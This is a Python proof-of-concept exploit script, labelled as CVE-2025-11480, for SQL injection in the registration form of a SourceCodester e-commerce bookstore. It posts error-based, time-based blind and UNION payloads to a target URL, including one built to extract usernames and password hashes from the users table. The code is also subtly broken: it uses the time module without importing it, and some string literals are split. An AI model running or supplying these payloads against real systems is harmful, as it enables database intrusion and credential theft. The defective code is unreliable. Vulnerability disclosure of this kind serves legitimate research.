# CVE-2025-11480 - SourceCodester Simple E-Commerce Bookstore SQL Injection PoC
# Vulnerability: SQL Injection via register_username parameter in /register.php
# Author: Security Researcher
# Date: 2025-10-08
import requests
import sys
TARGET_URL = "http://target.com/register.php"
def exploit_sql_injection(target_url):
"""
Exploit SQL injection in register_username parameter
"""
# Payload to test for SQL injection - error-based detection
test_payload = "admin' AND 1=1-- -"
# Payload to extract database version
version_payload = "admin' UNION SELECT 1,version(),3,4,5-- -"
# Payload for time-based blind SQL injection
time_based_payload = "admin' AND SLEEP(5)-- -"
# Data extraction payloads
extract_users_payload = "admin' UNION SELECT 1,group_concat(username,0x3a,password),3,4,5 FROM users-- -"
headers = {
"Content-Type": "application/x-www-form-urlencoded",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"
}
# Step 1: Test for SQL injection vulnerability
data = {
"register_username": test_payload,
"register_password": "test123",
"register_email": "
[email protected]",
"register": "Register"
}
print("[*] Testing for SQL injection vulnerability...")
response = requests.post(target_url, data=data, headers=headers, timeout=10)
if response.status_code == 200:
print("[+] Target is reachable")
# Check for SQL error messages or behavioral differences
if "error" in response.text.lower() or "syntax" in response.text.lower():
print("[+] SQL injection vulnerability confirmed (error-based)")
else:
print("[+] Target may be vulnerable, testing time-based...")
start_time = time.time()
time_data = {
"register_username": time_based_payload,
"register_password": "test123",
"register_email": "
[email protected]",
"register": "Register"
}
time_response = requests.post(target_url, data=time_data, headers=headers, timeout=15)
elapsed = time.time() - start_time
if elapsed > 4:
print("[+] SQL injection confirmed (time-based blind)")
# Step 2: Extract sensitive data
print("[*] Attempting to extract database information...")
extract_data = {
"register_username": extract_users_payload,
"register_password": "test123",
"register_email": "
[email protected]",
"register": "Register"
}
extract_response = requests.post(target_url, data=extract_data, headers=headers, timeout=10)
print(f"[*] Response length: {len(extract_response.text)}")
print("[*] Check response for extracted data")
if __name__ == "__main__":
if len(sys.argv) > 1:
TARGET_URL = sys.argv[1]
exploit_sql_injection(TARGET_URL)